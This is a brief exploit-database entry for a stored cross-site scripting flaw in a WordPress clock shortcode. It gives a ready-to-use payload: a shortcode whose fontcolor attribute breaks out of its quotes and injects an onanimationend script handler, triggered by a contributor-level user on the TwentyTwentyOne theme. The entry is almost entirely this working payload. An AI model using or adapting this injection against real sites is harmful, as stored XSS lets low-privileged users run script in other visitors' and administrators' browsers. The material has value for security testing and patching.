Share
## https://sploitus.com/exploit?id=WPEX-ID:A092548F-1AD5-44D3-9901-CDF4EBCEE40A
As a user with a role as low as contributor, put the following shortcode in a post/page and view/preview it to trigger the XSS (which is specific to the TwentyTwentuOne theme but could be changed)

[coolclock fontcolor='orange" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']